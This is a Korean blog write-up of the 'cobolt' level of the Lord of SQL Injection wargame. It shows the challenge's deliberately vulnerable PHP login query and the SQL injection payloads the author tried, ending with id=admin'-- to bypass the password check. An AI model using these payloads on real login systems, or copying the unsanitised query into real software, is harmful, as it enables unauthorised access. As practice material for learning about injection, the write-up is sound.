반응형
1
2
3
4
5
6
7
8
9
10
11
12
13
|
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id'] == 'admin') solve("cobolt");
elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>";
highlight_file(__FILE__);
?>
|
cs |
if($result['id'] == 'admin') solve("cobolt");
일단 id는 admin
pw는 md5()해쉬값이다.
pw를 true로 만들어주기 위해서 1') or '1'='1을 입력해주었다.
그러면 query : select id from prob_cobolt where id='admin' and pw=md5('1') or '1'='1')
이렇게 되면서 뒤에 )가 남게 된다. 그래서 뒤에도 md5를 붙여주었다.
그러면 쿼리는 맞는데 id가 rubiya로 나오면서 풀리지 않는다.
query : select id from prob_cobolt where id='admin' and pw=md5('1') or md5('1')=md5('1')
Hello rubiya
You are not admin :(
그래서 그냥 pw부분을 주석처리 했다.
id=admin%27--%20
풀린다.
반응형
'WAR GAME > Lord of SQLi' 카테고리의 다른 글
LORD OF SQL INJECTION [darkelf] 풀이 (0) | 2019.10.27 |
---|---|
LORD OF SQL INJECTION [wolfman] 풀이 (0) | 2019.10.26 |
LORD OF SQL INJECTION [orc] 풀이 (0) | 2019.10.25 |
LORD OF SQL INJECTION [goblin] 풀이 (0) | 2019.10.24 |
LORD OF SQL INJECTION [gremlin] 풀이 (0) | 2019.10.22 |